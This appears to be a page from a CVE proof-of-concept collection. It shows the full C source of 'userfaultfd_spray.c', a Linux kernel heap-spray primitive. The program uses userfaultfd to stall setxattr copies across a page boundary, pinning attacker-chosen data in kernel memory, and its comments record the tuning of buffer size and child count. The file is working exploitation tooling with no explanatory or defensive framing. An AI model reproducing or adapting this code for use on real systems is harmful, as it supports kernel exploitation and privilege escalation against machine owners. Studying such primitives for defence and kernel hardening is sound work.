4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / userfaultfd_spray.c C
#include <sys/xattr.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <pthread.h>
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

typedef uint8_t u8;
typedef uint64_t u64;

#define FAULTY_ADDR 0x20000000

// Different sizes to try to see which one works best
size_t buffer_sizes[] = {
	0x20,
	0x40,
	0x80,
	0x100,
	0x120,
	0x200,
	0x400,
	0x800,
	0x1000,
	0x1500,
	0x2000,
	0x4000,
	0x8000,
	0xffff
};

// I found 64 (60) bytes to be the right spot
// #define BUFSIZE 60

// Use this to communicate with the parent/ child depending on who we are
static int FORK_PIPE = 0;

/*
+------------+
| First page |
|            | <- This page contains the data we want to spray
| xattr start|
+------------|
|  overrun   |
| *unmapped* | <- This page is never read and causes a userfaultfd event when read from
|            |    (it *is* mapped though, just never actually read from/ written to until setxattr)
| Second page|    we don't control the last 8 bytes that are in this page as part of our spray
+------------+
*/

u8 *setup_pg() {
	u8 *ptr = mmap((void *)FAULTY_ADDR, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
	if (!ptr) {
		perror("mmap couldn't map the page\n");
		exit(EXIT_FAILURE);
	}

	// Init first page
	for (int i = 0; i < 0x1000; i++) {
		ptr[i] = 'A';
	}

	// Don't touch the second page-
	// this will cause a page fault on reference in the kernel :)

	return ptr;
}

// See userfaultfd documentation: https://man7.org/linux/man-pages/man2/userfaultfd.2.html
static void * userfaultfd_thread(void *arg)
{
	static struct uffd_msg msg;   /* Data read from userfaultfd */
	static int fault_cnt = 0;     /* Number of faults so far handled */
	long uffd;                    /* userfaultfd file descriptor */
	static char *page = NULL;
	struct uffdio_copy uffdio_copy;
	ssize_t nread;

	uffd = (long) arg;

	/* Loop, handling incoming events on the userfaultfd
		file descriptor. */
	while(true) {
		/* See what poll() tells us about the userfaultfd. */

		struct pollfd pollfd;
		int nready;
		pollfd.fd = uffd;
		pollfd.events = POLLIN;
		nready = poll(&pollfd, 1, -1);
		if (nready == -1) {
			perror("poll\n");
			exit(EXIT_FAILURE);
		}

		/* Read an event from the userfaultfd. */

		nread = read(uffd, &msg, sizeof(msg));
		if (nread == 0) {
			printf("EOF on userfaultfd!\n");
			exit(EXIT_FAILURE);
		}

		if (nread == -1) {
			perror("read");
			exit(EXIT_FAILURE);
		}

		/* We expect only one kind of event; verify that assumption. */

		if (msg.event != UFFD_EVENT_PAGEFAULT) {
			fprintf(stderr, "Unexpected event on userfaultfd\n");
			exit(EXIT_FAILURE);
		}

		// Perform a blocking read on the pipe to the parent, waitiing for them to wake us up
		// printf("Waiting for parent to wake us up...\n");
		char buf[4];
		read(FORK_PIPE, buf, 4);
		close(FORK_PIPE);
		close(uffd);
		exit(EXIT_FAILURE);
	}
}

void setup_userfaultfd() {
	int ufd = syscall(SYS_userfaultfd, 0);
	// printf("We got userfaultfd fd %d\n", ufd);

	// UFFDIO_API
	struct uffdio_api obj1;
	obj1.api = UFFD_API;
	obj1.features = 0;
	int retval = ioctl(ufd, UFFDIO_API, &obj1);

	if (retval) {
		perror("Error doing UFFDIO_API ioctl\n");
		printf("%d\n", errno);
		exit(EXIT_FAILURE);
	}

	struct uffdio_register obj2;
	obj2.range.start = FAULTY_ADDR; // Where we mmap the 2 pages
	obj2.range.len = 0x2000; // 2 pages
	obj2.mode = UFFDIO_REGISTER_MODE_MISSING;
	retval = ioctl(ufd, UFFDIO_REGISTER, &obj2);

	if (retval) {
		perror("Error doing UFFDIO_REGISTER\n");
		exit(EXIT_FAILURE);
	}

	pthread_t thr;
	pthread_create(&thr, NULL, userfaultfd_thread, (void *) ufd);
}

// previously was runit:
int main (int argc, char **argv) {

	int NUM_CHILDREN = 4;

	if (argc == 2) {
		NUM_CHILDREN = atoi(argv[1]);
	}

	int pipes[2];
	pipe(pipes);

	for (int i = 0; i < NUM_CHILDREN; i++) {
		pid_t newpid = fork();
		if (0 == newpid) {
			close(pipes[1]);
			sleep(2);
			FORK_PIPE = pipes[0];
			u8 *page_to_use = setup_pg();
			setup_userfaultfd();

			// Trying different buffer sizes:
			// size_t BUFSIZE = buffer_sizes[i % 7];
			// 60 works best
			size_t BUFSIZE = 60;

			u8 retval = setxattr("/tmp/test", "testvari", (page_to_use + 0x1000) - BUFSIZE + 8, BUFSIZE, XATTR_CREATE);
			if (retval != 0) {
				perror("Error doing setxattr\n");
				exit(EXIT_FAILURE);
			}

			exit(EXIT_FAILURE);
			while(true);
		}
		else {
			// Parent does nothing
		}
	}

	close(pipes[0]);
	// printf("All children launched\n");
	sleep(5);
	// printf("Waking the children up\n");
	// sleep(1);

	write(pipes[1], "Hey", 4);
	exit(EXIT_SUCCESS);
}

// Launch a number of workers
// int main() {
// 	static pthread_t threads[4];
// 	for (int i = 0; i < 4; i++) {
// 		pthread_create(&threads[i], NULL, &runit, 0);
// 	}
// }